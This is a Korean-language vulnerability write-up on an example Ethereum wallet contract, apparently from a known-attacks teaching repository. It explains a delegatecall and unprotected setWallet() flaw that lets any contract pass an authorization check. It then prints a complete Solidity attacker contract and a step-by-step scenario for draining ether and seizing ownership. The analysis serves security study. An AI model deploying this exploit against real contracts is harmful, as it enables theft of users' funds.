3. 취약점 보고 (https://github.com/4000D/solidity-known-attack-examples/blob/master/contracts/Wallet.sol)

1) 컨트랙트 기본 설명

(1) WalletLibrary 컨트랙트

`WalletLibrary` 는 라이브러리로 사용되는 컨트랙트로서 `Wallet` 컨트랙트로부터 `delegatecall` 을 호출받아서 지갑관리에 필요한 기능들(`initWallet()` , `setWallet()` , `transferOwnership()` , `withdraw()`)을 `Wallet` 컨트랙트의 컨텍스트(context) 상에서 실행하는 역할을 한다.

WalletLibrary.sol

```
contract WalletLibrary is Logger {
  address public owner;
  address public lib;
  mapping (address => bool) public isWallet;

  modifier auth(address _addr) {
    require(owner == _addr || lib == _addr || isWallet[_addr]);
    _;
  }

  constructor() public payable {}

  function () public payable {}

  function initWallet() public {
    require(owner == address(0));
    owner = msg.sender;

    WalletLibrary(lib).setWallet();
  }

  function setWallet() public {
    require(!isWallet[msg.sender]);
    require(isContract(msg.sender));
    isWallet[msg.sender] = true;
  }

  function transferOwnership(address _next) public auth(msg.sender) {
    owner = _next;
  }

  function withdraw(ERC20 _token, uint _amount) public auth(msg.sender) {
    if (address(_token) == 0) {
      msg.sender.transfer(_amount);
```

```
    } else {
      require(_token.transfer(msg.sender, _amount));
    }
  }


  function isContract(address _addr) view internal returns (bool) {
    uint size;
    if (_addr == 0) return false;
    assembly {
      size := extcodesize(_addr)
    }
    return size>0;
  }
}
```

(2) Wallet 컨트랙트

`Wallet` 컨트랙트는 지갑 컨트랙트로서 `fallback` 함수를 통해서 `WalletLibrary` 컨트랙트에 `delegatecall`을 호출하여 필요한 지갑관리에 필요한 기능들(`initWallet()`, `setWallet()`, `transferOwnership()`, `withdraw()`)을 처리한다.

WalletLibrary.sol

```
contract Wallet {
  uint256 internal constant FWD_GAS_LIMIT = 10000;

  address public owner;
  address public lib;

  constructor(address _lib) public payable {
    lib = _lib;
  }

  function() public payable {
    address _dst = lib;
    uint256 fwdGasLimit = FWD_GAS_LIMIT;
    bytes memory _calldata = msg.data;

    assembly {
      let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20),
mload(_calldata), 0, 0)
      let size := returndatasize
      let ptr := mload(0x40)
      returndatacopy(ptr, 0, size)

      // revert instead of invalid() bc if the underlying call failed with invalid()
it already wasted gas.
      // if the call returned error data, forward it
      switch result case 0 { revert(ptr, size) }
      default { return(ptr, size) }
```

```
    }
  }
}
```

1) 컨트랙트 취약점 분석

(1) WalletLibrary 컨트랙트

modifer auth() 취약점

함수 modifer인 `auth()` 부분을 살펴보면 인증을 통과하기 위한 조건이 3가지가 있다.

해당 address가 `owner`의 주소이거나, `lib`의 주소이거나 또는 해당 address가 `isWallet` 맵핑에 저장된 값이 true이면 인증을 통과할 수 있다. 따라서 ***이 3가지 조건들 중에서 1개라도 통과할 수 있는 방법을 찾아낸다면*** `auth` modifier가 사용된 모든 함수들(`transferOwnership()` , `withdraw()`)을 사용할 수 있다.

```
modifier auth(address _addr) {
  require(owner == _addr || lib == _addr || isWallet[_addr]);
  _;
}
```

setWallet() 함수 취약점

`setWallet()` 함수는 `public` visibility를 갖고 있으며, `auth` modifier를 사용하지 않았기 때문에 ***외부의 누구라도 이 함수를 호출할 수 있다.***

지갑을 설정하기 위한 조건을 살펴보면 해당 `msg.sender`가 아직 `isWallet` 맵핑에 true로 설정되어 있지 않고, 해당 주소가 컨트랙트 주소여야 한다.

따라서 외부의 어떠한 컨트랙트라도 `delegatecall`을 통해 `msg.sender`를 유지하여 해당 함수를 호출할 수 있다면 누구라도 지갑을 등록할 수 있는 것이다.

```
function setWallet() public {
  require(!isWallet[msg.sender]);
  require(isContract(msg.sender));
  isWallet[msg.sender] = true;
}
```

(2) Wallet 컨트랙트

delegatecall 취약점

`Wallet` 컨트랙트의 `fallback` 함수를 보면 들어오는 요청에 대해 `delegatecall`을 호출하여 `WalletLibrary`에게 코드를 실행하도록 하고 있다.

따라서 외부의 공격자가 `fallback` 함수를 이용하여 공격자가 원하는대로 `WalletLibrary`에게 `delegatecall`을 호출할 수 있는 것이다.

따라서 이 취약점을 이용하면 앞서 말했던 것처럼 외부 컨트랙트가 `delegatecall`을 호출하여 `msg.sender`를 유지한 상태로 `setWallet()`을 호출하여 지갑을 등록할 수 있게 된다.

```
function() public payable {
  address _dst = lib;
  uint256 fwdGasLimit = FWD_GAS_LIMIT;
  bytes memory _calldata = msg.data;

  assembly {
    let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20),
mload(_calldata), 0, 0)
    let size := returndatasize
    let ptr := mload(0x40)
    returndatacopy(ptr, 0, size)

    // revert instead of invalid() bc if the underlying call failed with invalid() it
already wasted gas.
    // if the call returned error data, forward it
    switch result case 0 { revert(ptr, size) }
    default { return(ptr, size) }
  }
}
```

그리고 더욱 심각한 문제는 `setWallet()` 을 통해 `isWallet` 맵핑에 해당 지갑을 true로 등록하면 `auth()` modifier를 사용한 모든 함수를 통과할 수 있기 때문에 결과적으로 `transferOwnership()` 함수와 `withdraw()` 함수를 사용할 수 있게 되는 것이다.

3) 공격 컨트랙트

(1) 공격 컨트랙트 작성

AttackerContract.sol

```
contract AttackerContract {
  address public owner;
  address public target;

  event MoneyCollected(address from, uint amount);

  function AttackerContract(address _owner, address _target) public {
    owner = _owner;
    target = _target;
  }

  function changeTarget(address _target)  public {
    require(msg.sender == owner);
    target = _target;
  }

  function transferMoney() public payable {
    require(msg.sender == owner);
    owner.transfer(this.balance);
  }
```

```
  function () public payable {
    if (msg.value > 0) {
      MoneyCollected(msg.sender, msg.value);
      return;
    }
    target.call(msg.data);
  }
}
```

공격 컨트랙트를 생성할 때 나중에 공격으로 모은 ether를 전송할 `owner` 와 공격대상이 되는 지갑 `target` 주소를 지정한다.

```
function AttackerContract(address _owner, address _target) public {
  owner = _owner;
  target = _target;
}
```

공격을 통해 모은 ether를 `owner` 에게 전송하는 함수를 만들어 놓는다.

```
function transferMoney() public payable {
  require(msg.sender == owner);
  owner.transfer(this.balance);
}
```

`fallback` 함수를 `payable` 로 설정하여 나중에 `withdraw()` 함수를 통해 ether를 전송받을 수 있게 한다. 일반적으로는 `Wallet` 컨트랙트에 `message call` 을 위한 용도로 사용된다.

```
function () public payable {
  if (msg.value > 0) {
    MoneyCollected(msg.sender, msg.value);
    return;
  }
  target.call(msg.data);
}
```

(2) 공격 시나리오

1. 공격 컨트랙트를 생성한다. 이 때 나중에 ether를 전송받을 `owner` 와 공격대상이 되는 `Wallet` 컨트랙트의 `target` 주소를 설정한다.
2. 공격 컨트랙트에게 `message call` 을 통해 `setWallet()` 함수를 호출한다. 그러면 공격 컨트랙트의 주소가 타겟 `Wallet` 컨트랙트에서 `isWallet` 맵핑에서 true로 설정된다. 그렇게 되면 공격 컨트랙트는 모든 `auth()` modifier가 설정된 함수를 통과할 수 있다.
3. 공격 컨트랙트는 `message call` 을 통해 `withdraw()` 함수를 호출한다. 이 때 공격 컨트랙트 자신에게 ether를 전송받기 위해서 파라미터의 첫 번째는 `0x0` 을 입력하고, 두 번째는 자신이 전송받을 wei 만큼의 `amount` 를 입력한다.
4. 공격 컨트랙트에게 ether가 전송되면, `transferMoney()` 함수를 호출하여 미리 지정한 `owner` 에게 전송한다.
5. 공격 컨트랙트는 심지어 `transferOwnership()` 함수를 호출하여 `Wallet` 컨트랙트의 `owner` 도 변경이 가능하다.